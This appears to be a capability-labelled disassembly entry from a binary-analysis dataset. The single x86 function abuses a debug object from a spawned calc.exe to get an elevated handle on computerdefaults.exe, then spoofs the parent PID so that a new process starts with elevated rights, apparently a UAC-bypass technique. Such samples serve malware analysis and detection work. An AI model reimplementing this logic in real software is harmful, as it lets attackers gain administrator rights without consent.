Function at 0x100080c0
Capabilities:
Create process on windows
Get common file path
Spoof parent pid
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4fc
push ebx
push esi
push edi
push 0x410
lea eax, [ebp - 0x4f8]
mov dword [ebp - 0x14], ecx
push 0
push eax
mov dword [ebp - 4], 0
call fcn.1000f750
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x4f8]
add esp, 0xc
push 0x208
push eax
call esi
lea ecx, [ebp - 0x4f8]
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x10008110
mov eax, dword [str.calc.exe]
lea edx, [ebp - 0x4f8]
mov dword [ecx], eax
mov eax, dword [0x1003807c]
mov dword [ecx + 4], eax
mov eax, dword [0x10038080]
mov dword [ecx + 8], eax
mov eax, dword [0x10038084]
mov dword [ecx + 0xc], eax
mov eax, dword [0x10038088]
mov dword [ecx + 0x10], eax
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
mov ecx, edx
push 0
call fcn.10007970
add esp, 0x20
test al, al
jne 0x1000816a
mov ebx, 0xc0000001
jmp 0x10008462
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 4]
push 0
push 4
push eax
push 0x1e
push edi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
jns 0x100081a3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
jmp 0x10008462
push dword [ebp - 4]
push edi
call dword [sym.imp.ntdll.dll_NtRemoveProcessDebug]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x410
lea eax, [ebp - 0x4f8]
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x4f8]
push 0x208
push eax
call esi
lea edi, [ebp - 0x4f8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x100081f3
mov ecx, 0xb
lea eax, [ebp - 0x2c]
mov esi, str.computerdefaults.exe
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x10
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10008213
mov ecx, 0x60
lea eax, [ebp - 0xe8]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10008230
lea eax, [ebp - 0x2c]
push eax
sub esp, 0x18
lea edx, [ebp - 0x4f8]
mov ecx, edx
push 1
call fcn.10007970
add esp, 0x20
test al, al
jne 0x10008262
mov ebx, 0xc0000001
jmp 0x10008462
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_DbgUiSetThreadDebugObject]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
lea eax, [ebp - 0xe8]
push 0xffffffffffffffff
push eax
call esi
test eax, eax
je 0x10008462
mov edi, dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
nop word [eax + eax]
cmp dword [ebp - 0xe8], 3
jne 0x100082a6
mov ebx, dword [ebp - 0xd8]
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jne 0x100082cd
push 0x10002
push dword [ebp - 0xe0]
push dword [ebp - 0xe4]
call edi
push 0xffffffffffffffff
lea eax, [ebp - 0xe8]
push eax
call esi
test eax, eax
jne 0x10008290
jmp 0x1000845f
push 0
push 0
push 0x1fffff
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ntdll.dll_NtDuplicateObject]
mov dword [ebp - 0x10], eax
test eax, eax
js 0x10008428
mov eax, dword [ebp - 0xc]
mov edx, 0x30
mov dword [ebp - 0x18], eax
mov ecx, 0x10
mov dword [ebp - 8], edx
lea eax, [ebp - 0x3c]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10008310
mov ecx, 0x48
lea eax, [ebp - 0x88]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10008326
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x88], 0x48
cmp edx, 0x400
ja 0x10008418
push edx
call fcn.10015219
add esp, 4
mov esi, eax
push dword [ebp - 8]
push 0
push esi
call fcn.1000f750
add esp, 0xc
mov dword [ebp - 0x44], esi
test esi, esi
je 0x10008409
lea eax, [ebp - 8]
push eax
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x100083ef
push 0
push 0
push 4
lea eax, [ebp - 0x18]
push eax
push 0x20000
push 0
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x100083ef
mov eax, 5
mov dword [ebp - 0x5c], 1
mov word [ebp - 0x58], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x88]
push eax
push 0x10075b50
push 0
push 0x80400
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100083ef
push dword [ebp - 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3c]
call esi
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x10008400
push eax
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov eax, dword [ebp - 0x44]
push eax
call fcn.1001484d
add esp, 4
call edi
cmp eax, 0x7a
jne 0x10008418
mov edx, dword [ebp - 8]
jmp 0x10008344
push dword [ebp - 0xc]
mov esi, dword [sym.imp.ntdll.dll_NtClose]
call esi
mov ebx, dword [ebp - 0x1c]
jmp 0x1000842e
mov esi, dword [sym.imp.ntdll.dll_NtClose]
push 0
call dword [sym.imp.ntdll.dll_DbgUiSetThreadDebugObject]
push dword [ebp - 4]
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
call ebx
push dword [ebp - 0x28]
call ebx
mov esi, dword [ebp - 0x2c]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10008470
push eax
call dword [sym.imp.ntdll.dll_NtClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret